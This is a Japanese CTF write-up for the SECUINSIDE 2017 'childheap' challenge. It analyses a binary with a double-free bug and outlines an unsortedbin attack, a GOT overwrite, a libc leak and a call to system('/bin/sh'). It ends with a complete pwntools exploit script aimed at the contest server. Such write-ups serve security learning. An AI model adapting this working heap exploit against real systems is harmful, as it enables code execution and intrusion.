SECUINSIDE CTF 2017 childheap writeup
はじめに
コンテスト期間中に解くことができなかったが良いところまでいって放置していた。最近解いたので、そのwriteupを載せる。
checksec etc
普通のバイナリなので特に言うことはない。
% file ./childheap ./childheap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2464f8e250b3eeb77e11b8748417024fb1bfd49f, stripped % checksec ./childheap [*] '/home/hama/ctf/SECUINSIDE2017/childheap/childheap' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE
機能
実行すると3つの機能を選択できそうであるが、実際には4つ目の機能がある。機能についてまとめると以下のとおりである。
Allocate
heapから指定したサイズ分を割りあてる。サイズには制約があり、0x1ff < size < 0x1000でなければならない。制約を満たすサイズであれば、malloc(size)が実行され取得されたメモリにサイズ分だけ書き込みが行える。malloc()で取得したメモリのポインタはたぶんスタック上でローカル変数として管理されている(この部分はバイナリを読んでいないので分からない)。2.Free
を実行すれば再度の割り当てができる。Free
Allocateで確保したメモリをfree()する。double freeが可能。Modify
一度でもAllocateを実行すれば指定可能になる。heao上で管理されるAgeやNameを再編集できる。この管理領域を指すポインタはbssに存在している。Secret
201527を入力すると実行できる機能。適当な数値をbssに保存することが可能。
% ./childheap -----ChildHeap 2017 in Secuinside--- 1. Allocate 2. Free 3. Modify
方針
このバイナリの特徴は、stdoutに関してはbufferingが切られているがstdinに関しては有効となっている点である。詳しいことは知らないが、ubuntu16.04(正確にはglibcに依存すると思うが)から、入出力のbufferはheapから確保される。
入力のbufferのために確保されるチャンクとAllocate
で確保できるチャンクと、double freeを上手く使ってunsortedbin attackを行う。書き込む先はModify
機能によって編集する先を指すポインタである。unsortedbin attackによってmain_aren内のunsortedbin周りを任意に編集できるようになる。
0x7f1ae77a7b80 <main_arena+96>: 0x7878787878787878 0x7878787878787878 0x7f1ae77a7b90 <main_arena+112>: 0x0078787878787878 0x00007f1ae77a7b88
Secret
によって書き込む数値をチャンクのサイズとみなすように、unsortedbinのfd/bkを編集すれば、malloc()で返すポインタをbss上に強制することができる。あとはModify
によって適当にGOTを書き換えてlibc_baseをリークしsystme(“/bin/sh”)を呼ぶ。
exploit.py
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') context.log_level = 'debug' # output verbose log RHOST = "13.124.131.103" RPORT = 31337 LHOST = "127.0.0.1" LPORT = 31337 # libc = ELF('./libc.so.6') elf = ELF('./childheap') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD=./libc.so.6 b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./childheap'], execute=execute) else: conn = process(['./childheap']) # conn = process(['./childheap'], env={'LD_PRELOAD': './libc.so.6'}) # preparing for exploitation def Allocate(size, payload): conn.sendlineafter('> ', '1') conn.sendlineafter('Input size:', str(size)) conn.sendlineafter('Input data:', payload) def Free(): conn.sendlineafter('> ', '2') def Modify(payload, Flag): conn.sendlineafter('> ', '3') conn.sendlineafter('Do you want to change age (y/n)?', 'n') conn.sendlineafter('Input new name: ', payload) if Flag: conn.sendlineafter('Do you want to change name to new one (y/n)? ', 'y') else: conn.sendlineafter('Do you want to change name to new one (y/n)? ', 'n') def Secret(code): conn.sendlineafter('> ', '201527') conn.sendlineafter('Input secret code:', str(code)) person_addr = 0x6020c0 read_got = 0x602038 printf_addr = 0x400750 log.info('Pwning') Allocate(0xfff, 'hoge') Free() Modify('a'*0x8+'b'*8, True) Free() payload = 'x' * 8 + p64(person_addr - 0x10) Modify(payload, True) Allocate(0xfff, 'hoge') payload = p64(0) + p64(0x6020b0 - 8) * 2 # fd and bk are 0x6020b0-8 Modify(payload, True) Secret(0x211) Free() payload = "A" * 8 payload += p64(0x602070-0x8-0x2) Allocate(0x200, payload) payload = p64(printf_addr) Modify(payload, True) conn.sendline('XXXX%3$p') conn.recvuntil('XXXX') libc_base = int(conn.recv(14), 16) - 0xf7230 log.info('libc_base = {:#x}'.format(libc_base)) payload = "AA" + p64(libc_base + 0x45390) conn.recvuntil('3. Modify') conn.sendline('12') conn.sendlineafter('Do you want to change age (y/n)?', 'n') conn.sendlineafter('Input new name: ', payload) conn.sendlineafter('Do you want to change name to new one (y/n)? ', 'y') # Modify(payload, True) conn.sendline('/bin/sh\x00') conn.interactive()